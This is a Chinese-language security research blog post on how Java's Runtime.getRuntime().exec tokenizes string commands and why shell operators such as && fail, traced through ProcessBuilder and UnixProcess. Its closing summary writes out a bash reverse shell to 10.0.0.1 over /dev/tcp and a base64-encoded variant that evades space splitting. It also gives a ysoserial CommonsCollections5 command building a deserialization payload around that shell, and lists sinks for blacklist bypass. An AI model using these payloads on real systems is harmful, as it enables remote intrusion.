Java Runtime.getRuntime().exec参数的一些问题
date
Jun 16, 2022
slug
java-runtime-exec-param-problem
status
Published
tags
Java安全
安全研究
summary
这个点有时候实际情况坑还是挺多的
type
Post
首先Java下的命令执行大家都知道常见的两种方式:
1.使用ProcessBuilder
ProcessBuilder pb=new ProcessBuilder(cmd);
pb.start();
2.使用Runtime
Runtime.getRuntime().exec(cmd)
但是这两种方式在遇到
|,<,>
等符号就不太能够执行比如这样一段代码:
String cmd = "echo 3333 && echo 3333";
Process proc = Runtime.getRuntime().exec(cmd);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in,"UTF8"));
String line = "";
while((line = br.readLine()) != null){
System.out.println(line);
}
只会执行前面一段
跟进exec函数可以发现,实现了函数的重载overlay
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
根据上述代码例子执行的应该是String Command参数的那一个函数,继续跟进那个函数,发现进入到这个exec函数中,command的内容进入到了StringTokenizer中
继续跟,发现这个函数是给一些特殊字符上tag
然后再次返回到exec中,此时命令已经变成了数组
继续跟进可以发现exec其实本质是使用的还是ProcessBuilder进行命令执行
因为
ProcessBuilder.start
方法是命令执行,那么跟进这个start我们发现,首先prog获取cmdarray[0]
也就是我们的/bin/sh
,然后判断security是否为null,如果不为null就会校验checkExec然后会跟进到
java.lang.ProcessImpl.start
函数中继续跟进,发现存在调用
java.lang.UnixProcess
这个类的构造函数来执行命令,而且使用的是cmdarray[0]
来判断用什么命令最后使用forkAndExec启动一个新进程,此处可以发现启动进程的pid为24909
实际上这个函数是一个native函数,后面会调用C/C++的代码,所以这里继续跟下去是看不到对应内容的了
此时观察一下确实执行了一条echo的命令
其实从这一步
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
就可以发现命令执行已经变了味道,命令都被分割成一块块的,相当于第一个echo后面的内容都是echo执行的参数,所以最后会命令执行结果输出3333 && echo 3333
了如果改成了数组类型的,
String[] cmd = {"echo 3333", "&&","echo 34444"};
,此时就没有经过StringTokenizer这个类的拆分,进入ProcessBuilder也没像上面分成一块块的,完全是按照我们数组的分块传入综上,也就是说getRuntime().exec()如果直接传入字符串会经过StringTokenizer的分割,进而破坏其原本想要表达的意思。
可见经过StringTokenizer对字符串中空格类的处理其实是一种java对命令执行的保护机制,他可以防御以下这种命令注入,其效果相当于php中的escapeshellcmd。
String cmd = "echo " + 可控点;
Runtime.getRuntime().exec(cmd)
还有一个点就是命令为什么要分隔成数组,原因是因为ProcessBuilder,它的构造方法中只允许列表和字符串数组
public ProcessBuilder(String... command) {
this.command = new ArrayList<>(command.length);
for (String arg : command)
this.command.add(arg);
}
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
总结
- 上述问题的解决方法:
一.使用数组的方式进行命令执行
String[] command = { "/bin/sh", "-c", "echo 2333 2333 2333 && echo 2333 2333 2333" };
Runtime.getRuntime().exec(command)
二.使用编码的方式绕过对空格分割
Linux一般使用bash,Windows一般使用powershell
P牛对这个点也做了解释
所以测了一下这个subprocess,当shell参数为true的时候,相当于执行shell语句,所以反引号是可以执行命令的
但是当shell为False的话,就是执行启动命令本身,也就是curl,所以返回原来的内容
Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。所以在Java中如果需要执行bash的话,那么就需要保证第一个参数为
bash
了,改造一下就是这样bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1”
但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。容易破坏了命令原本的意思
所以一般需要规避一下空格,可以用上面的格式转换的地址转换一下,变成这样:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}
此时就可以直接yso进行处理了
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
- 调试过程中一些关键函数点,可用于黑名单绕过
Runtime.exec
new ProcessBuilder(cmd).start
/java.lang.ProcessImpl.start
UnixProcess
的构造函数UnixProcess
的forkAndExec
函数